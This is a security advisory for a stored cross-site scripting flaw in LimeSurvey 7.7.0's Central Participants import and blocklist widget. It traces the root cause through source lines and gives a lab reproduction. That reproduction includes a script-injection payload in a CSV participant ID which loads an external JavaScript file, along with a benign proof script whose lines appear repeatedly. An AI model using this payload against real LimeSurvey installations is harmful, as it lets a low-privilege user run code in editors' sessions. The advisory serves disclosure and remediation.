LimeSurvey 7.7.0 - Stored XSS in Central Participants blocklist control

7.4

High

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Miguel Gómez

Abstract

Fluid Attacks discovered CVE-2026-115640, a high-severity stored cross-site scripting (XSS) vulnerability (CWE-79) in LimeSurvey 3.0.0 through 7.7.0. An authenticated user with CPDB import permission can run JavaScript in a CPDB editor's browser. It has a CVSS v4.0 base score of 7.4. Upgrade to LimeSurvey 7.9.0 or later. This advisory includes a proof of concept.

Summary

Full name

LimeSurvey 7.7.0 - Stored cross-site scripting through Central Participants participant IDs in the blocklist control

Code name

State

Public

Release date

Affected product

LimeSurvey

Vendor

LimeSurvey

Affected version(s)

7.7.0

Fixed version(s)

7.9.0

Vulnerability name

Stored cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

7.4

Exploit available

Yes

Description

LimeSurvey 7.7.0 contains a stored cross-site scripting vulnerability in the Central Participants Database (CPDB) blocklist control. An authenticated user granted only the global participantpanel:import permission can import a CSV record with HTML in participant_id. The import flow persists that value without model validation. Later, when a CPDB editor opens the participant list, LimeSurvey derives the blocklist ButtonGroupWidget id and name from participant_id and writes those values into HTML attributes without encoding. The browser parses the attacker-controlled markup in the editor's authenticated LimeSurvey origin.

Vulnerability

Root cause: unsafe attribute rendering in ButtonGroupWidget

The root cause is unsafe HTML-attribute rendering in the generic ButtonGroupWidget template, not CPDB itself. CPDB is the affected input and rendering flow: its CSV importer accepts the attacker-controlled value and its participant list invokes the widget.

Participant::rules() limits participant_id to 50 characters but does not restrict HTML-significant characters. More importantly, the CPDB CSV importer does not invoke model validation for a newly imported record: it copies values into a Participant object and sends its attributes directly to insertParticipantCSV(), which performs a database insert.

When the CPDB list is rendered for a user permitted to edit the record, Participant::getBlacklistSwitchbutton() constructs the ButtonGroupWidget name as blacklisted_ plus the stored identifier. Yii's CInputWidget::resolveNameID() derives the widget ID from that name; CHtml::getIdByName() replaces only brackets and spaces, not quotes or angle brackets. The ButtonGroupWidget template then interpolates both $id and $name directly into attributes without CHtml::encode(). A quote in participant_id terminates the attribute and permits parsed markup such as a script element.

Source-to-sink path

  1. The attacker, holding global participantpanel:import, reaches ParticipantsAction::attributeMapCSV() and uploadCSV(); both enforce only that import permission (application/controllers/admin/ParticipantsAction.php:842-843, :965-968).

  2. uploadCSV() explicitly accepts participant_id as a CSV core field (:1005), assigns all matching attributes from the CSV record (:1199-1203), then calls encrypt()->insertParticipantCSV() without validate() (:1205). participant_id is not among the default encrypted columns.

  3. Participant::insertParticipantCSV() stores that value verbatim as the database primary key (application/models/Participant.php:2379-2392). The model rule would only impose a 50-character maximum and is bypassed on this route (:73-90).

  4. When an editor views the list, Participant::getBlacklistSwitchbutton() passes blacklisted_ concatenated with participant_id as the widget name (application/models/Participant.php:315-330). The grid intentionally renders that result as raw HTML (:381-385).

  5. CInputWidget::resolveNameID() derives an ID with CHtml::getIdByName() (vendor/yiisoft/yii/framework/web/widgets/CInputWidget.php:52-71). That helper does not encode quotation marks or </> (vendor/yiisoft/yii/framework/web/helpers/CHtml.php:2406-2409).

  6. application/extensions/ButtonGroupWidget/views/buttongroup.php:15,33-35 writes $id and $name directly into id, name, and for attributes. The browser consequently interprets markup injected after an attribute-closing quote.

Preconditions

LimeSurvey Community Edition 7.7.0 must be available at http://127.0.0.1:8083. Before beginning, ensure that the deployment has an initial administrator account, that the repository root contains participant_id_xss.csv and poc/p.js, and that the browser used as the victim can reach http://127.0.0.1:8765/p.js. Configure two separate accounts: an importer with only the global CPDB Import permission and a victim with permission to edit the imported participant.

Step-by-step

  1. Install LimeSurvey Community Edition 7.7.0 and confirm that application/config/version.php reports 7.7.0.

  2. Sign in as the disposable administrator.

  3. Open Configuration → User management → Add user. Create the disposable importer account testuser and set a password known only to the lab operator.

  4. In User management, open the actions menu for testuser, select the global-permissions option, and enable only Central participant database → Import. Save the permission change. Do not grant testuser Superadmin, CPDB Read, CPDB Create, or CPDB Update.

  5. Use the supplied participant_id_xss.csv file without modifying it. Its fields are:

    • participant_id: "><script src=//127.0.0.1:8765/p.js></script>.

    • firstname: PoC.

    • lastname: Impact.

    • email: [email protected].

    • language: en.

    • blacklisted: N.

    The CSV parser stores the listed participant_id value, which is 45 bytes and fits the field's 50-character limit.

  6. In a separate terminal at the repository root, start the supplied safe proof server. The served p.js only changes the page title and adds a DOM marker; it does not access data or submit requests.

    The file used by this reproduction is poc/p.js and contains exactly:

    document.documentElement.dataset.cpdbXss = 'CPDB_XSS_EXECUTED';
    document.title = 'CPDB_XSS_EXECUTED';
    document.documentElement.dataset.cpdbXss = 'CPDB_XSS_EXECUTED';
    document.title = 'CPDB_XSS_EXECUTED';
    document.documentElement.dataset.cpdbXss = 'CPDB_XSS_EXECUTED';
    document.title = 'CPDB_XSS_EXECUTED';
    document.documentElement.dataset.cpdbXss = 'CPDB_XSS_EXECUTED';
    document.title = 'CPDB_XSS_EXECUTED';
    python3 -m http.server 8765 --bind 127.0.0.1 --directory poc
    python3 -m http.server 8765 --bind 127.0.0.1 --directory poc
    python3 -m http.server 8765 --bind 127.0.0.1 --directory poc
    python3 -m http.server 8765 --bind 127.0.0.1 --directory poc


  7. Before importing, open http://127.0.0.1:8765/p.js from the victim browser and confirm that the JavaScript file is reachable. Leave the server running.

  8. Sign out of the administrator account. Sign in as testuser.

  9. Open Configuration → Central participant database → Import. Upload participant_id_xss.csv. Select the comma separator if LimeSurvey asks for it.

  10. Continue to the page headed Select which fields to import as attributes with your 1 participant. Leave both attribute panels empty, clear the overwrite checkbox, and select Continue.

  11. Wait for the import summary to confirm that one participant was created, then sign out of testuser.

  12. Sign in as the victim. The video uses admin; use a disposable superadministrator or another account allowed to edit the imported CPDB record.

  13. Open Configuration → Central participant database → Display CPDB participants. Locate the record with first name PoC, last name Impact, and email [email protected].

  14. Do not click Blocklisted. Simply rendering the record's Blocklisted control loads the attacker-controlled script. Confirm safe execution by checking that the browser title is CPDB_XSS_EXECUTED, or run document.documentElement.dataset.cpdbXss in the browser console and verify that it returns CPDB_XSS_EXECUTED.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-115640 to refer to this issue from now on.

Disclosure policy

System information

  • Product: LimeSurvey Community Edition

  • Version: 7.7.0 (release commit f47f0e64373d672cd6deae83f2ee637d9967d76d)

  • Operating System: Any supported web-server platform

References

Solution and Workaround

Solution

Upgrade to LimeSurvey Community Edition 7.9.0+261029 or later. The fix requires newly imported Central Participants Database participant IDs to match the UUID format, rejects invalid IDs before CSV insertion, and HTML-encodes values rendered in ButtonGroupWidget attributes. Verify the deployed version and confirm that CPDB CSV imports reject participant IDs that do not use the UUID format.

Workaround and temporary mitigation

Until the upgrade is complete, restrict the global participantpanel:import permission and CPDB Update access to trusted users. Review existing CPDB participant IDs for unexpected markup or non-UUID values, and monitor CPDB import activity for anomalous records. These measures reduce exposure but do not remove the vulnerability.

Credits

The vulnerability was detected by AI SAST Scanner and disclosed by Miguel Gómez from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.